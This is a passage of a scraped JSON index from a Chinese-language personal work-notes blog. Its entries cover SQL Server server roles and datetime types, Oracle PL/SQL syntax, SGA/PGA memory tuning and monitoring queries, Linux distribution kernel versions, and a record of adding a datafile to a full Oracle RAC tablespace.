Engine 存取權並設定使用者權限的能力，可讓安全性系統管理員指派大部分的伺服器許可權。 您應該將 securityadmin 角色視為相當於 系統管理員 角色。 processadmin processadmin固定伺服器角色的成員可以結束SQL Server實例中執行的進程。 setupadmin setupadmin固定伺服器角色的成員可以使用 Transact-SQL 語句來新增和移除連結的伺服器。 使用 Management Studio.) 時，需要 (系統管理員 成員資格 bulkadmin bulkadmin 固定伺服器角色的成員可以執行 BULK INSERT 陳述式。 Linux 上的 SQL Server不支援bulkadmin角色或 ADMINISTER BULK OPERATIONS 許可權。 只有系統管理員可以針對Linux 上的 SQL Server執行大量插入。 diskadmin diskadmin 固定伺服器角色是用來管理磁碟檔案。 dbcreator dbcreator 固定伺服器角色的成員可以建立、改變、卸除及還原任何資料庫。 public 每個SQL Server登入都屬於公用伺服器角色。 當伺服器主體尚未授與或拒絕安全性實體物件上的特定許可權時，使用者會繼承該物件上授與 公用 的許可權。 只有當您想要將任何物件提供給所有使用者使用時，才指派該物件的 public 權限。 您無法變更公用中的成員資格。注意：public 的實作方式不同於其他角色，您可以授與、拒絕或撤銷 public 固定伺服器角色的權限。 資料型態 # SQL Server Datetime vs Datetime2 # Feature Datetime Datetime2 Syntax datetime datetime2(n) Where n represents fractional seconds precision Format YYYY-MM-DD hh-mm-ss.nnn YYYY-MM-DD hh-mm-ss.nnnnnnn Date Range 1753-01-01 To 9999-12-31 0001-01-01 To 9999-12-31 Time Range 00:00:00 To 23:59:59.997 00:00:00 To 23:59:59.9999999 Default Value 1900-01-01 00:00:00 1900-01-01 00:00:00 Accuracy Rounded to increments of .000, .003, or .007 seconds .0000001 seconds (100 nanoseconds ) ANSI SQL Compliant No SQL Standards and is ISO Compliant (ISO 8601) Time zone offset No No Character Length 19 positions minimum \u0026amp; 23 maximum 19 positions minimum \u0026amp; 27 Storage Size 8 bytes 6 to 8 bytes, depending on the precision* User-Defined Precision No Yes Usage DECLARE @DateTime datetime CREATE TABLE table_name ( Column1 datetime ) DECLARE @DateTime2 datetime2(7) CREATE TABLE table_name ( Column1 datetime2(7) ) 參考資料 # Day21_使用dmv找出執行最久的查詢 SQL Server Datetime vs Datetime2 ","date":"March 13, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240313-2/","section":"Worknots","summary":"查詢執行很久的SQL # 1 2 3 4 5 6 7 8 SELECT TOP 10 [總執行時間(秒)] =CAST(a.total_elapsed_time / 1000000.0 AS DECIMAL(16, 2)) , [執行次數] =a.execution_count , [平均執行時間(秒)] =CAST(a.total_elapsed_time / 1000000.0 / a.execution_count AS DECIMAL(16, 2)) , [SQL指令] =SUBSTRING (b.text,(a.statement_start_offset/2) + 1,500) FROM sys.dm_exec_query_stats a CROSS APPLY sys.dm_exec_sql_text(a.sql_handle) as b WHERE a.total_elapsed_time \u003e 0 AND B.[text] NOT LIKE '%SCHEMA_NAME%'--去除一些系統的SQL指令 ORDER BY [平均執行時間(秒)] DESC 查詢資料庫版本 # 1 SELECT @@VERSION AS 'SQL Server Version Details' 查詢結果 1 2 3 4 Microsoft SQL Server 2014 - 12.0.2000.8 (X64) Feb 20 2014 20:04:26 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (Hypervisor) 權限認識 # MS SQL 伺服器角色 # Data type mapping for other data types:\n","title":"MSSQL 雜記","type":"worknot"},{"content":"切字串成陣列\nregexp_substr # 1 2 3 4 5 6 7 select regexp_substr ( :str, \u0026#39;[^,]+\u0026#39;, 1, level ) value from dual 參考資料 # How to split comma separated value strings into rows in Oracle Database REGEXP_SUBSTR ","date":"March 13, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240313-1/","section":"Worknots","summary":"切字串成陣列\nregexp_substr # 1 2 3 4 5 6 7 select regexp_substr ( :str, '[^,]+', 1, level ) value from dual 參考資料 # How to split comma separated value strings into rows in Oracle Database REGEXP_SUBSTR ","title":"Oracle PL/SQL 學習筆記","type":"worknot"},{"content":"","date":"March 13, 2024","externalUrl":null,"permalink":"/tags/pl/sql/","section":"Tags","summary":"","title":"PL/SQL","type":"tags"},{"content":" 判斷式 if else # 1 2 3 4 5 6 7 8 9 if a \u0026gt; b then t := 0; elsif a \u0026gt; c then t := 1; else t := 2; end if; 迴圈 # 1 2 3 4 5 6 7 8 9 LOOP ... V_LOOP_CONT := V_LOOP_CONT +1 ; IF V_TOTAL_LOOP_CONT \u0026lt;= V_LOOP_CONT THEN EXIT; END IF; END LOOP; package # head 1 2 3 4 5 6 7 8 9 10 11 12 13 14 CREATE OR REPLACE PACKAGE PK_1 AS /****************************************************************************** NAME: PK_1 PURPOSE: PK_1 REVISIONS: Ver Date Author Description --------- ---------- --------------- ------------------------------------ 1.0 2024-03-13 PolloChang 1. 初次新增 ******************************************************************************/ FUNCTION FUNCTION_NAME_1 (P_VAL IN VARCHAR2) RETURN VARCHAR2; END PK_1; body 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 CREATE OR REPLACE PACKAGE PK_1 AS /****************************************************************************** NAME: PK_1 PURPOSE: PK_1 REVISIONS: Ver Date Author Description --------- ---------- --------------- ------------------------------------ 1.0 2024-03-13 PolloChang 1. 初次新增 ******************************************************************************/ FUNCTION FUNCTION_NAME_1 (P_VAL IN VARCHAR2) RETURN VARCHAR2 AS V_RETUREVAL VARCHAR2(1000); begin V_RETUREVAL := \u0026#39;\u0026#39;; ... return V_RETUREVAL; end; END PK_1; 參考資料 # Oracle基本修練: PL/SQL LOOPS Oracle基本修練: PL/SQL if-else, case statements How to split comma separated value strings into rows in Oracle Database REGEXP_SUBSTR ","date":"March 13, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240313/","section":"Worknots","summary":"判斷式 if else # 1 2 3 4 5 6 7 8 9 if a \u003e b then t := 0; elsif a \u003e c then t := 1; else t := 2; end if; 迴圈 # 1 2 3 4 5 6 7 8 9 LOOP ... V_LOOP_CONT := V_LOOP_CONT +1 ; IF V_TOTAL_LOOP_CONT \u003c= V_LOOP_CONT THEN EXIT; END IF; END LOOP; package # head 1 2 3 4 5 6 7 8 9 10 11 12 13 14 CREATE OR REPLACE PACKAGE PK_1 AS /****************************************************************************** NAME: PK_1 PURPOSE: PK_1 REVISIONS: Ver Date Author Description --------- ---------- --------------- ------------------------------------ 1.0 2024-03-13 PolloChang 1. 初次新增 ******************************************************************************/ FUNCTION FUNCTION_NAME_1 (P_VAL IN VARCHAR2) RETURN VARCHAR2; END PK_1; body 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 CREATE OR REPLACE PACKAGE PK_1 AS /****************************************************************************** NAME: PK_1 PURPOSE: PK_1 REVISIONS: Ver Date Author Description --------- ---------- --------------- ------------------------------------ 1.0 2024-03-13 PolloChang 1. 初次新增 ******************************************************************************/ FUNCTION FUNCTION_NAME_1 (P_VAL IN VARCHAR2) RETURN VARCHAR2 AS V_RETUREVAL VARCHAR2(1000); begin V_RETUREVAL := ''; ... return V_RETUREVAL; end; END PK_1; 參考資料 # Oracle基本修練: PL/SQL LOOPS Oracle基本修練: PL/SQL if-else, case statements How to split comma separated value strings into rows in Oracle Database REGEXP_SUBSTR ","title":"Oracle PL/SQL 學習筆記","type":"worknot"},{"content":"","date":"March 9, 2024","externalUrl":null,"permalink":"/tags/linux-kernel/","section":"Tags","summary":"","title":"Linux Kernel","type":"tags"},{"content":"前幾天在工作中因為要導入GBC，但是在客戶的系統當中有非RedHat衍生發行板的系統，所以想說用相近的 Linux Kernel 作為導入的基礎，在這邊把整好的核心版本整理一下\nLinux 發行板 Kernel Version Rocky Linux 8 4.18.0 Rocky Linux 9 5.14.0 Red Hat Enterprise Linux 2.1 2.4.9 Red Hat Enterprise Linux 3 2.4.21 Red Hat Enterprise Linux 4 2.6.9 Red Hat Enterprise Linux 5 2.6.18 Red Hat Enterprise Linux 6 2.6.32 Red Hat Enterprise Linux 7 3.10.0 Red Hat Enterprise Linux 8 4.18.0 Red Hat Enterprise Linux 9 5.14.0 Oracle VM 3 4.1 Oracle Linux 6 2.6.32 Oracle Linux 7 3.10.0 Oracle Linux 8 4.18.0 Oracle Linux 9 5.14.0 Debian 10 4.19 Debian 11 5.10 Debian 12 6.1 參考資料 # Rocky Linux Release Version Guide Red Hat Enterprise Linux Release Dates Debian version history Oracle Linux and Unbreakable Enterprise Kernel (UEK) Releases ","date":"March 9, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240309/","section":"Worknots","summary":"前幾天在工作中因為要導入GBC，但是在客戶的系統當中有非RedHat衍生發行板的系統，所以想說用相近的 Linux Kernel 作為導入的基礎，在這邊把整好的核心版本整理一下\n","title":"Linux 發行板核心版本整理","type":"worknot"},{"content":"","date":"March 9, 2024","externalUrl":null,"permalink":"/tags/rhel_3/","section":"Tags","summary":"","title":"Rhel_3","type":"tags"},{"content":"","date":"March 9, 2024","externalUrl":null,"permalink":"/tags/rhel_4/","section":"Tags","summary":"","title":"Rhel_4","type":"tags"},{"content":"","date":"March 9, 2024","externalUrl":null,"permalink":"/tags/rhel_5/","section":"Tags","summary":"","title":"Rhel_5","type":"tags"},{"content":"","date":"March 9, 2024","externalUrl":null,"permalink":"/tags/rhel_6/","section":"Tags","summary":"","title":"Rhel_6","type":"tags"},{"content":"","date":"March 9, 2024","externalUrl":null,"permalink":"/tags/rhel_7/","section":"Tags","summary":"","title":"Rhel_7","type":"tags"},{"content":"","date":"March 9, 2024","externalUrl":null,"permalink":"/tags/rhel_8/","section":"Tags","summary":"","title":"Rhel_8","type":"tags"},{"content":"","date":"March 9, 2024","externalUrl":null,"permalink":"/tags/rocky-linux/","section":"Tags","summary":"","title":"Rocky Linux","type":"tags"},{"content":"最近在工作上遇到Oracle 發生的系統效能問題，雖然有順利解決了，但是在解決的過程中似乎覺的自己對Oracle知識相當貧乏，於是在這邊筆記一下我學到的知識。\n學習的過過程中難免會出現紀錄錯誤，而且目前是因為工作上需要而自學。因此內容有錯還請見諒。\nOracle Instance # Instance 是一個由各種設定檔組成的記憶體結構，基本上當資料庫連線到Oracle 時是連接到 Instance。Instance 與 Database 是可以互不相依的，也就是說 Instance 與 Database 可以單獨存在。\n以下是Oracle Instance 的架構圖\nInstance 有兩中配置方式:\nSingle Instance Oracle RAC (Oracle Real Application Clusters) Single 是單純一個Database 配置一個 Instance ，而 Oracle RAC 是一個 Database 配置多個 Instance。\n在 Oracle 12c 之後可以將 Read/Write 與 Read-Only 兩個 不同的Instance 共存在 同一個 Database 中。在12c之前除非是 Standby database 都是 Read/Write。\nInstance 如果需要改 Read/Write 或是 Read-Only 可以透過參數 INSTANCE_MODE 調整。\n1 INSTANCE_MODE = { READ-WRITE | READ-ONLY | READ-MOSTLY } Oracle資料庫結構概述 # 記憶體結構（Instance）：記憶體結構包含由一些記憶體空間及與處理程式(Process)所組合而成的，會隨著資料庫的開啟與關閉而消失。 實體結構（Database）：實體結構包含存在儲存媒體上的一些檔案，不會因為資料庫開啟關閉而消失。 Oracle 記憶體結構 # 共享記憶體（System Global Area；SGA）：主要是做資料交換的暫存記憶體空間。 背景處理程式（Background Process）：主要是Oracle記憶體結構與實體結構之間的溝通橋樑。 軟體程式碼區域（Software Code Area）：主要是存放Oracle軟體可執行程式的地方，同時軟體程式碼區域也是屬於Oracle Instance的一部份。 PGA（Program Global Area；PGA）：PGA是一塊私有的記憶體區塊，包含了有server process正在執行的工作資訊。每一個server process都有一個自己的PGA。。 UGA（User Global Area；UGA）：UGA主要是儲存使用者特定的連線狀態，UGA可能在SGA中分配，也可能在PGA中分配，這取決於Oracle的網路連線方式，看是使用多執行緒伺服器模式（Multi-Thread Server）還是專屬伺服器模式（Dedicated Server）。 其他處理程式（Other Process）：主要是使用者與Oracle記憶體結構之間的溝通橋樑。 Oracle 記憶體模組 # Oracle 對於記憶體主要以兩個模組管理:KSM、KGH\nKSM(Kernel Service Memory) # 負責項目為\nFix SGA Database Buffer Cache Log Buffer Cache KGH(Kernel Generic Heap) # 負責項目為\nShared Pool Library cache PGA 可以由 X$KSMFS（Kernel Services Memory Fixed SGA ） 表取得資訊\n1 select * from X$KSMFS Oracle SGA # SGA 的全稱為System Global Area(共享記憶體)，是可以讓Oracle所在的作業系統上與所有使用者連線和程序來共用資料。SGA有下列幾個特性:\n在記憶體中存放了使用者資訊與控制資訊 一個SGA 只能 服務於一個Instance SGA是共用的，當有多個使用者連線到了這個Instance，SGA中的資訊可以同時被所有使用者同時使用 Oracle Process和一個SGA就可以構成了一個Oracle Instance。當Instance啟動時，Oracle會自動從作業系統中分配設定好的記憶體給SGA，而當Instance關閉時，作業系統會回收這些記憶體。下列是啟動資料庫時，系統自動分配的狀況 1 2 3 4 5 6 7 8 9 10 SQL\u0026gt; startup ORACLE instance started. Total System Global Area 6.8719E+10 bytes # 這裡 Fixed Size 37229800 bytes Variable Size 8053063680 bytes Database Buffers 6.0532E+10 bytes Redo Buffers 96985088 bytes Database mounted. Database opened. 以下是針對上述的中文解釋:\nTotal System Global Area：此訊息顯示目前此SGA的大小。 Fixed Size：裡面儲存了SGA 各部分元件的相關資訊，主要是作為導引SGA架構的區域，當Instance被開啟時此塊區域就被固定住了不能做任何的變動，此塊區域也可稱為Fixed SGA。 Variable Size：此資訊顯示Shared Pool、Java Pool、Large Pool和Streams Pool等的配置總和，由於這些記憶體區塊都是可動態分配的所以統稱Variable Size Database Buffers：此訊息顯示資料庫緩衝快取區的大小。 Redo Log Buffers：此訊息顯示重作日誌緩衝區的大小。 SGA 區塊項目 # Database Buffer Cache(資料庫緩衝快取區) Redo Log Buffer (重作日誌緩衝區) Shared Pool (共用區) Java Pool (與Java區) Large pool (大型區) Stream Pool (串流區) Fix SGA (固定SGA) SGA 參數 # SGA_MAX_SIZE # SGA_MAX_SIZE 設定太小有可能會造成 I/O 過頻繁，因為會使用到硬碟空間作為虛擬記憶體。當資料庫instance啟動之後，各區域項目會依據最少需求啟動，後續資料庫會根據實際需求自動配置(這個行為跟PRE_PAGE_SGA設定有關係)，但是總和不會超過SGA_MAX_SIZE配置。\n一般建議配置方式是為作業系統記憶體的二分之一，舉例如下:\n系統記憶體 1G 時SGA_MAX_SIZE建議為500M 系統記憶體 2G 時SGA_MAX_SIZE建議為1G 系統記憶體 4G 時SGA_MAX_SIZE建議為2.5G 系統記憶體 8G 時SGA_MAX_SIZE建議為5G 系統記憶體 16G 時SGA_MAX_SIZE建議為10G SGA_TARGET # SGA_TARGET 是 Oracle 10g 以後引進的參數。主要是解決人對配置記憶體時需要精心計算各區愧配置的問題。Target 是一個抽象概念，當 Target 設定一個數值時，Oracle 就會盡量滿足所設定的值。上述機制名稱為ASMM(Automatic Shared Memory Management,自動共享記憶體管理)。\n可以在PLSQL檢視目前設定\n1 2 3 4 5 6 7 8 9 10 11 SQL\u0026gt; show parameter sga NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ allow_group_access_to_sga boolean FALSE lock_sga boolean FALSE pre_page_sga boolean TRUE sga_max_size big integer 20G sga_min_size big integer 0 sga_target big integer 20G # 這裡 unified_audit_sga_queue_size integer 1048576 設定語法如下\n1 alter system set sga_target=1024m; 設定注意事項:\nSGA_TARGET的限制是大小是不能超過SGA_MAX_SIZE SGA_TARGET參數後Oracle將會收集SGA相關的統計數據,並透過V$SGA_TARGET_ADVICE呈現出來,因此可以根據這些資SGA_TARGET做相關的調整,以達到最佳狀況,裡面欄位組成如下: SGA_SZIE:資料庫緩衝快取區的名稱（Default、Keep、Recycle） SGA_SIZE_FACTOR:SGA SZIE的估算因子 ESTD_DB_TIME:預估DB處理時間在目前的SGA大小 ESTD_DB_TIME_FACTOR:當SGA大小為SGA_SIZE時,將預估DB處理時間與實際DB處理時間的比例 ESTD_PHYSICAL_READS:當SGA大小為SGA_SIZE時,SGA預測得實體讀取數。 檢視調整結果: v$SGA_TARGET_ADVICE # 當設定了SGA_TARGET參數後Oracle將會收集SGA相關的統計數據,並透過V$SGA_TARGET_ADVICE呈現出來,因此可以根據這些資SGA_TARGET做相關的調整,以達到最佳狀況,裡面欄位組成如下:\nSGA_SZIE:資料庫緩衝快取區的名稱（Default、Keep、Recycle） SGA_SIZE_FACTOR:SGA SZIE的估算因子 ESTD_DB_TIME:預估DB處理時間在目前的SGA大小 ESTD_DB_TIME_FACTOR:當SGA大小為SGA_SIZE時,將預估DB處理時間與實際DB處理時間的比例 ESTD_PHYSICAL_READS:當SGA大小為SGA_SIZE時,SGA預測得實體讀取數。 如果沒有辦法檢視時有可能下列需要調整\nSTATISTICS_LEVEL 為 BASIC 動態調整方式為\n1 2 3 SHOW PARAMETER statistics_level; --確認狀態為 BASIC ALTER SYSTEM SET statistics_level=typical; ALTER SESSION SET statistics_level=typical; LOCK_SGA # 保證SGA都被鎖定在實體記憶體中,而不必Page In/Out,可以透過LOCK_SGA此參數來控制,LOCK_SGA預設值為FALSE,當指定為TRUE時,可以將全部SGA都鎖定在實體記憶體中。\n設定注意事項:\nLOCK_SGA此參數是無法動態修改所以必須先以ALTER SYSTEM…的語法寫到SPFILE中,或是直接修改PFILE,之後再重啟Instance,LOCK_SGA的新值才會生效。 有些作業系統不支援記憶體鎖定,因此這參數也就無效 作業系統的記憶體太小(小於128G)通常不會設定，這裡是DBA的配置經驗。 PRE_PAGE_SGA # 這個值主要告訴Oracle 要不要將SGA通通分配到記憶體中。預設值為 False，當設定為True時會將SGA通通分配到記憶體。\n設定語法如下:\n1 SQL\u0026gt; ALTER SYSTEM SET PRE_PAGE_SGA=true SCOPE=SPFILE; 設定注意事項:\n設定完需要重啟資料庫。 當值為True 時資料庫啟動時間會變長，因為需要將SGA資訊一次載入到實體記憶體中。 PRE_PAGA_SGA只是在Instance啟動時將實體記憶體分配給SGA,但並意味著系統在以後的運作的過程不會將SGA中的某些Page置換到虛擬記憶體中,也就是說儘管設置了這個參數,還是可能出現Page In/Out的狀況。如果需要保障SGA不被Page In/Out,就需要使用另外一個參數LOCK_SGA來控制了。 疑問點：\n什麼是 Page In/Out？ 出現時資料庫會有什麼狀況? SGA 監控 # 查詢記憶體區塊還剩多少使用空間 1 2 3 4 5 SELECT POOL --記憶體所屬的記憶體區塊 NAME, --SGA記憶體區塊的名稱 BYTES / 1024 / 1024 MB --記憶體區塊的大小 FROM V$SGASTAT WHERE NAME = \u0026#39;FREE MEMORY\u0026#39;; 1 2 3 4 5 6 7 8 SELECT TO_NUMBER (V$PARAMETER.VALUE) VALUE, V$SGASTAT.BYTES/1024/1024 \u0026#34;V$SGASTAT MB\u0026#34;, (V$SGASTAT.BYTES/V$PARAMETER.VALUE) * 100 \u0026#34;PERCENT FREE\u0026#34; FROM V$SGASTAT, V$PARAMETER WHERE V$SGASTAT.NAME =\u0026#39; free memory\u0026#39; AND V$PARAMETER.NAME = \u0026#39;shared_pool_size\u0026#39; AND V$SGASTAT.POOL = \u0026#39;shared pool\u0026#39;; 1 2 3 4 select \u0026#39;SGA\u0026#39; name,(select sum(value/1024/1024) from v$sga) total, (SELECT SUM (bytes/1024/1024) FROM V$SGAINFO WHERE NAME=\u0026#39;Maximum SGA Size\u0026#39;) MAX_ALLOCATED , (select sum(bytes/1024/1024) from v$sgastat where name=\u0026#39;free memory\u0026#39;)free from dual Program Global Area (PGA) # 與AP連線有直接關係，當AP橫向擴展時，會增加PGA的資源要求。\nUser Global Area (UGA) # 參考資料 # 共享記憶體（System Global Area；SGA） Oracle記憶體結構 Database Concepts 13 Oracle Database Instance Oracle Physical Database Structure ","date":"March 7, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240307/","section":"Worknots","summary":"最近在工作上遇到Oracle 發生的系統效能問題，雖然有順利解決了，但是在解決的過程中似乎覺的自己對Oracle知識相當貧乏，於是在這邊筆記一下我學到的知識。\n","title":"Oracle 學習筆記","type":"worknot"},{"content":"這幾天在調校系統校能，想說從資料庫快取中看看能不能找出花費系統高的系統資源，後來從網路拼拼湊湊加上過去的經驗拼湊下面的監控SQL。拼湊好後，會透過kettle 搭配系統排程匯出查詢結果。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 SELECT * FROM ( SELECT 1 QUERY_STATUS, SA.SQL_ID, SA.SQL_TEXT, SA.SQL_FULLTEXT, SA.EXECUTIONS EXECUTIONS, --執行次數 ROUND(SA.ELAPSED_TIME / 1000000, 2) ELAPSED_TIME, --總共執行時間(秒) ROUND(SA.ELAPSED_TIME / 1000000 / SA.EXECUTIONS, 2) ELAPSED_TIME_AVERAGE, --平均執行時間(秒) ROUND(SA.CPU_TIME / 1000000, 2) CPU_TIME, --CPU 執行時間 SA.DISK_READS, ROUND(SA.PLSQL_EXEC_TIME / 1000000, 2) PLSQL_EXEC_TIME, --(秒) ROUND(SA.USER_IO_WAIT_TIME / 1000000, 2) USER_IO_WAIT_TIME, --(秒) SA.COMMAND_TYPE, SA.HASH_VALUE, SA.PARSING_USER_ID PARSING_USER_ID, U.USERNAME USERNAME --帳號名稱 FROM V$SQLAREA SA LEFT JOIN ALL_USERS U ON SA.PARSING_USER_ID = U.USER_ID WHERE SA.EXECUTIONS \u0026gt; 0 ORDER BY (SA.ELAPSED_TIME / SA.EXECUTIONS) DESC ) WHERE ROWNUM \u0026lt;= 50; V$SQLAREA table 欄位說明 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 Name Null? Type ----------------------------------------- -------- -------------- SQL_TEXT VARCHAR2(1000) SHARABLE_MEM NUMBER PERSISTENT_MEM NUMBER RUNTIME_MEM NUMBER SORTS NUMBER VERSION_COUNT NUMBER LOADED_VERSIONS NUMBER OPEN_VERSIONS NUMBER USERS_OPENING NUMBER EXECUTIONS NUMBER USERS_EXECUTING NUMBER LOADS NUMBER FIRST_LOAD_TIME VARCHAR2(19) INVALIDATIONS NUMBER PARSE_CALLS NUMBER DISK_READS NUMBER BUFFER_GETS NUMBER ROWS_PROCESSED NUMBER COMMAND_TYPE NUMBER OPTIMIZER_MODE VARCHAR2(25) PARSING_USER_ID NUMBER PARSING_SCHEMA_ID NUMBER KEPT_VERSIONS NUMBER ADDRESS RAW(4) HASH_VALUE NUMBER MODULE VARCHAR2(64) MODULE_HASH NUMBER ACTION VARCHAR2(64) ACTION_HASH NUMBER SERIALIZABLE_ABORTS NUMBER CPU_TIME NUMBER ELAPSED_TIME NUMBER IS_OBSOLETE VARCHAR2(1) PLSQL_EXEC_TIME NUMBER USER_IO_WAIT_TIME NUMBER SHARABLE_MEM: Amount o sharable memory used by the SQL statement PERSISTENT_MEM: Amount of persistent memory used by the statement RUNTIME_MEM: Amount of runtime memory used by the statement SORTS: Total sorts across all executions EXECUTIONS: Total executions(執行次數) PARSE_CALLS: Total parse calls across all executions DISK_READS: Total disk reads across all executions BUFFER_GETS: Total buffer gets across all executions ROWS_PROCESSED: Total rows processed over all executions OPTIMIZER_MODE: Optimizer mode used by statement SERIALIZABLE_ABORTS: Number of serializable aborts over all executions CPU_TIME: Total CPU time used for all executions ELAPSED_TIME: Total elapsed time for all executions PLSQL_EXEC_TIME: PL/SQL 執行時間 USER_IO_WAIT_TIME: I/O 等待的時間 曾經被 dblaod 讀檔讀不到檔案拖垮資料庫效能 參考資料 # Oracle SQL response time monitoring\n9.69 V$SQLAREA\n","date":"March 5, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240305/","section":"Worknots","summary":"這幾天在調校系統校能，想說從資料庫快取中看看能不能找出花費系統高的系統資源，後來從網路拼拼湊湊加上過去的經驗拼湊下面的監控SQL。拼湊好後，會透過kettle 搭配系統排程匯出查詢結果。\n","title":"oracle 監控SQL 效能","type":"worknot"},{"content":"","date":"March 5, 2024","externalUrl":null,"permalink":"/tags/%E7%B3%BB%E7%B5%B1%E8%AA%BF%E6%A0%A1/","section":"Tags","summary":"","title":"系統調校","type":"tags"},{"content":"透過 v$sgastat 、v$pgastat 檢測 SGA PGA 空間使用狀況\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 select name,used,free, pctused, max_allocated , sysdate opdt from ( select name,total,round(total-free,2) used, round(free,2) free,round((total-free)/total*100,2) pctused, round(MAX_ALLOCATED,2) MAX_ALLOCATED from ( select \u0026#39;SGA\u0026#39; name,(select sum(value/1024/1024) from v$sga) total, (SELECT SUM (bytes/1024/1024) FROM V$SGAINFO WHERE NAME=\u0026#39;Maximum SGA Size\u0026#39;) MAX_ALLOCATED , (select sum(bytes/1024/1024) from v$sgastat where name=\u0026#39;free memory\u0026#39;)free from dual ) union select name,total,round(used,2)used,round(total-used,2)free,round(used/total*100,2) pctused,round(MAX_ALLOCATED,2) from ( select \u0026#39;PGA\u0026#39; name,(select value/1024/1024 total from v$pgastat where name=\u0026#39;aggregate PGA target parameter\u0026#39;)total, (SELECT (value/1024/1024) FROM V$PGASTAT WHERE NAME = \u0026#39;maximum PGA allocated\u0026#39;) MAX_ALLOCATED, (select value/1024/1024 used from v$pgastat where name=\u0026#39;total PGA allocated\u0026#39;)used from dual ) ); 1 2 3 4 sqlplus / as sysdba \u0026lt;\u0026lt; EOF @/home/oracle/check-health-script/check-memory.sql exit EOF awrrpt # 1 2 3 4 sqlplus / as sysdba \u0026lt;\u0026lt; EOF @/u01/app/oracle/product/12.2.0/dbhome_1/rdbms/admin/awrrpt.sql exit EOF 參考資料 # Database Reference-8.121 V$PGASTAT\n","date":"March 4, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240304/","section":"Worknots","summary":"透過 v$sgastat 、v$pgastat 檢測 SGA PGA 空間使用狀況\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 select name,used,free, pctused, max_allocated , sysdate opdt from ( select name,total,round(total-free,2) used, round(free,2) free,round((total-free)/total*100,2) pctused, round(MAX_ALLOCATED,2) MAX_ALLOCATED from ( select 'SGA' name,(select sum(value/1024/1024) from v$sga) total, (SELECT SUM (bytes/1024/1024) FROM V$SGAINFO WHERE NAME='Maximum SGA Size') MAX_ALLOCATED , (select sum(bytes/1024/1024) from v$sgastat where name='free memory')free from dual ) union select name,total,round(used,2)used,round(total-used,2)free,round(used/total*100,2) pctused,round(MAX_ALLOCATED,2) from ( select 'PGA' name,(select value/1024/1024 total from v$pgastat where name='aggregate PGA target parameter')total, (SELECT (value/1024/1024) FROM V$PGASTAT WHERE NAME = 'maximum PGA allocated') MAX_ALLOCATED, (select value/1024/1024 used from v$pgastat where name='total PGA allocated')used from dual ) ); 1 2 3 4 sqlplus / as sysdba \u003c\u003c EOF @/home/oracle/check-health-script/check-memory.sql exit EOF awrrpt # 1 2 3 4 sqlplus / as sysdba \u003c\u003c EOF @/u01/app/oracle/product/12.2.0/dbhome_1/rdbms/admin/awrrpt.sql exit EOF 參考資料 # Database Reference-8.121 V$PGASTAT\n","title":"oracle 記憶體監控","type":"worknot"},{"content":"","date":"March 1, 2024","externalUrl":null,"permalink":"/tags/oracle-18c/","section":"Tags","summary":"","title":"Oracle 18c","type":"tags"},{"content":"","date":"March 1, 2024","externalUrl":null,"permalink":"/tags/oracle-rac/","section":"Tags","summary":"","title":"Oracle RAC","type":"tags"},{"content":"今天在工作上遇到Oracle資料庫突然無法連線，突然想到前幾天在資料庫監控中發現Tablespace已經快滿了，於是著手處理。以下是處理的紀錄。\n環境 # OS: OracleLinux7 DataBase: Oracle 18c RAC 進入資料庫檢查 Tablespace 空間是否足夠 並著手處理 # 因為最近一次檢查是發現audit所在的 tablespace 空間快滿了，加上發生資料庫遠端連線無法正常連線，所以只能進入資料庫本機檢查。\n進入資料庫主機 切換帳號到oracle 操作 1 su - oracle 執行 sqlplus 1 sqlplus / as sysdba 執行下列SQL檢查 1 select a.TABLESPACE_NAME, to_char(a.BYTES/(1024*1024),\u0026#39;999,999\u0026#39;) \u0026#34;Size(MB)\u0026#34;, to_char(round((a.BYTES-b.BYTES)/(1024*1024),0),\u0026#39;999,999\u0026#39;) \u0026#34;Used(MB)\u0026#34;, to_char(b.BYTES/(1024*1024),\u0026#39;999,999\u0026#39;) \u0026#34;Avail(MB)\u0026#34; from (select TABLESPACE_NAME, sum(BYTES) \u0026#34;BYTES\u0026#34; from dba_data_files group by tablespace_name) a, (select TABLESPACE_NAME,sum(BYTES) \u0026#34;BYTES\u0026#34; from dba_free_space group by tablespace_name) b where a.TABLESPACE_NAME=b.TABLESPACE_NAME; 經過檢查確定發現AUD_TBS確定已經滿了。經詢問過DBA協助判斷確認需要增加新的 datafile ，因為一個datafile預設最大只能到32GB。\n1 2 3 4 5 TABLESPACE_NAME Size(MB) Used(MB) Avail(MB ------------------------------ -------- -------- -------- AUD_TBS 32,768 32,740 28 TBS_1 258,048 160,335 97,713 TBS_2 25,600 24,241 1,359 事後我也發現可以從 dba_data_files 檢查 欄位: BLOCKS 與 MAXBLOCKS 值是否相等判斷 datafile 是否滿。\n1 select * from dba_data_files where TABLESPACE_NAME = \u0026#39;AUD_TBS\u0026#39;; 1 2 3 FILE_NAME FILE_ID TABLESPACE_NAME BYTES BLOCKS STATUS RELATIVE_FNO AUT MAXBYTES MAXBLOCKS INCREMENT_BY USER_BYTES USER_BLOCKS ONLINE_ LOST_WR ------------------------------------------------------------------------------------------ ------------------------------ ---------- ---------- +DATA/SOCDB/DATAFILE/aud_tbs.0000.0000000000 39 AUD_TBS 3.4360E+10 4194302 AVAILABLE 39 YES 3.4360E+10 4194302 12800 3.4359E+10 4194168 ONLINE OFF 新增datafile 因為這次處理的Oracle是使用Oracle RAC處理指令如下\n1 2 3 SQL\u0026gt; ALTER TABLESPACE AUD_TBS ADD DATAFILE \u0026#39;+DATA\u0026#39; SIZE 20480M AUTOEXTEND ON NEXT 100M MAXSIZE UNLIMITED; Tablespace altered. 